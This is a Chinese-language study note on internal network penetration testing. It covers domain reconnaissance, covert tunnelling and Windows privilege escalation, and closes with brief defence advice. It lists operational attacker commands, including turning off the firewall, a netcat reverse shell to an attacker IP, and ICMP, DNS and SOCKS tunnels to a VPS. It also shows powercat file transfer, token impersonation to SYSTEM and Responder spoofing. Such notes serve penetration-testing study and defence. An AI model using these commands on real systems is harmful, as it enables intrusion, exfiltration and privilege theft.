内网安全攻防笔记
字数 1257 2025-08-15 21:33:42
内网安全攻防技术详解
第二章 内网信息搜集
一、概述
-
三个核心问题:
- 我是谁:判断当前机器角色(主机名、文件、网络连接等)
- 这是哪:分析网络环境拓扑(DMZ、办公区或核心区)
- 我在哪:确定当前机器在网络中的位置
-
信息收集重点:
- 操作系统、权限、内网IP段、杀毒软件、端口服务
- 补丁更新频率、网络连接、共享、会话等
二、手动收集信息
1. 基础系统信息
ipconfig /all # 网络信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 操作系统信息
echo %PROCESSOR_ARCHITECTURE% # 系统体系结构
2. 软件信息
wmic product get name,version # 安装软件版本和路径
powershell "Get-Wmiobject -Class Win32_Product | Select-Object -Property name,version"
3. 进程与服务
tasklist # 进程列表
wmic process list brief
wmic service list brief # 服务信息
wmic startup get command,caption # 启动程序
4. 系统状态
net statistics workstation # 主机开机时间
query user || qwinsta # 当前在线用户
net session # 列出或断开会话
5. 补丁信息
systeminfo # 补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn
6. 共享与路由
net share # 共享列表
wmic share get name,path,status
route print # 路由表
arp -a
7. 防火墙配置
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 查看配置
netsh firewall show config
# 添加规则
netsh advfirewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
8. 其他关键信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" # 代理配置
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber # RDP端口
三、查询权限
-
权限判断:
whoami /all # 获取域和域用户SID net user XXX /domain # 查询指定用户详细信息 -
域环境判断:
ipconfig # 检查DNS服务器 systeminfo # 查看"域"字段 net config workstation # 查看登录域 net time /domain # 判断主域
四、探测域内存活主机
-
工具方法:
# ICMP扫描 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" # ARP扫描 arp.exe -t 192.168.1.0/20 -
Empire模块:
usemodule situational_awareness/network/arpscan
五、扫描域内端口
-
常用工具:
- Metasploit:
use auxiliary/scanner/portscan/tcp - Powersploit/Nishang脚本
- ScanLine工具
- Metasploit:
-
Banner获取:
nc -nv 192.168.1.10 21 # 获取FTP banner
六、查询域内基础信息
-
域信息收集:
net view /domain # 查询域 net group /domain # 域用户组列表 net accounts /domain # 域密码策略 nltest /domain_trusts # 域信任信息 -
域控制器定位:
nltest /DCLIST:域名 nslookup -type=SRV _ldap._tcp net group "Domain Controllers" /domain
七、定位域管理员
-
常用方法:
- 日志和会话分析
psloggedon查询登录用户- PowerView的
Invoke-StealthUserHunter模块 - Empire的
user_hunter模块
-
查找域管理进程:
net group "domain admins" /domain tasklist /v # 比对进程用户
第三章 隐藏通信隧道技术
一、隧道分类
-
按网络层次:
- 网络层:IPv6、ICMP、GRE隧道
- 传输层:TCP、UDP隧道
- 应用层:SSH、HTTP/HTTPS、DNS隧道
-
连通性测试:
ping IP # ICMP nc <ip> <端口> # TCP curl <ip:端口> # HTTP nslookup # DNS
二、网络层隧道技术
-
ICMP隧道:
- 工具:icmpsh、PingTunnel、icmptunnel
- 使用示例:
# 攻击机 sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py 攻击机IP 目标IP # 目标机 icmpsh.exe -t 攻击IP -d 500 -b 30 -s 128
-
PingTunnel:
# 内网主机 ptunnel -x 隧道密码 # VPS ptunnel -p 内网IP -lp VPS端口 -da 目标IP -dp 目标端口 -x 隧道密码
三、传输层隧道技术
-
lcx端口转发:
# 内网端口转发 lcx.exe -slave 公网IP 4444 127.0.0.1 3389 # 公网监听 lcx.exe -listen 4444 5555 -
netcat使用:
nc -lvp 4444 -e cmd.exe # 正向shell nc 攻击IP 9999 -e /bin/sh # 反向shell -
PowerCat:
# 文件传输 powercat -l -p 9999 -of test.txt -v powercat -c serverIP -p 9999 -i c:\test.txt -v
四、应用层隧道技术
-
SSH隧道:
# 本地转发 ssh -CfNg -L 1153:内网IP:3389 root@跳板机 # 动态代理 ssh -CfNg -D 7000 root@跳板机 -
HTTP隧道:
- 工具:reGeorg、meterpreter、tuna
- 使用示例:
python reGeorgSocksProxy.py -u http://server/tunnel.jsp -p 9999
-
DNS隧道:
- dnscat2使用:
# 服务端 ruby dnscat.rb vpn.domain.com -e open -c 密码 --no-cache # 客户端 dnscat.exe --dns domain=vpn.domain.com --secret 密码
- dnscat2使用:
五、SOCKS代理
- EarthWorm使用:
# 公网VPS ew -s rcsocks -l 1080 -e 888 # 内网主机 ew -s rssocks -d VPSIP -e 888
第四章 权限提升分析及防御
一、Windows权限级别
- 权限等级:
- User:基本用户权限
- Administrator:管理员权限
- System:系统级权限
- TrustedInstaller:最高权限
二、提权方法
-
系统内核溢出提权:
systeminfo # 查看补丁 wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr "KB编号" -
系统配置错误:
- PowerUp检测:
Invoke-AllChecks Get-RegistryAlwaysInstallElevated
- PowerUp检测:
-
服务路径漏洞:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" icacls "漏洞路径" -
令牌窃取:
# Meterpreter use incognito list_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM" -
无凭证攻击:
- LLMNR/NBT-NS欺骗
- Responder工具:
python Responder.py -I eth0
三、防御建议
-
基础防御:
- 及时安装系统补丁
- 限制服务账户权限
- 禁用不必要的协议(LLMNR/NBT-NS)
-
配置加固:
- 禁用AlwaysInstallElevated
- 服务路径使用引号包裹
- 限制注册表访问权限
-
监控措施:
- 监控异常进程创建
- 审计特权账户操作
- 检测异常网络流量(如ICMP隧道)
本技术文档涵盖了内网渗透测试的核心技术点,包括信息收集、隧道技术和权限提升等关键环节,可作为内网安全防护和渗透测试的参考指南。